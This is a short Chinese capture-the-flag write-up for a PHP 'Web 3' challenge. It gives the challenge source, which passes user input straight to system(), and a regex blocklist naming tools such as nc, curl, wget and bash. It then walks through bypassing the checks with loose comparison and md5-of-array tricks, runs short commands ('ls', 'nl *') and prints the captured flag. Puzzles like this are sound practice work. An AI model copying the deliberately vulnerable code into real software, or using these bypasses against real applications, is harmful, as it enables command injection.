Web 3

Web 3

更改前题目

题目没有做记录,卡在了最后一步正则绕过,前七个绕过挺简单的

?A[]=1&B[]=2&C=s878926199a&D[]=0&E=5201.1&F=0xDEADC0DE

正则绕过:

if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
     system($cmd)                      
}

更改后题目

 <?php
show_source(__FILE__);
error_reporting(0);
function validation_check() {
    $a = @$_GET['a'];
    $b = @$_GET['b'];
    $c = @$_GET['c'];
    if ($a !== $b && md5($a) === md5($b)) {
        if ($c == 0 && $c) {
            return true;
    }
    return false;
}
}
function command_execution() {
    if (!isset($_GET['cmd'])) {
        die("Where is cmd?");
    }
    
    $command = $_GET['cmd'];
    execute_command($command);
}
function execute_command($input) {
    if (strlen($input) > 4) {
        die("too long!");
    }
    system($input);
}
if (validation_check()) {
    command_execution();
} else {
    die("NoNoNo");
}

弱类型相等绕过

数字和字符串的比较 0a == 0 为真

md5值强相等绕过

利用md5函数无法对数组进行md5加密,会返回NULL来相等。

命令执行

规定cmd的值不能大于4,首先令cmd=ls发现有两个文件:flag.php index.php

其次使用nl *读出flag.php文件为:

 1 flag{676b4dbb-3c7e-41e0-9d9a-b441f5e2d368} 2 4) { 27 die("too long!"); 28 } 29 system($input); 30 } 31 if (validation_check()) { 32 command_execution(); 33 } else { 34 die("NoNoNo"); 35 } 
posted @ 2025-09-13 16:10  lieer  阅读(32)  评论(0)    收藏  举报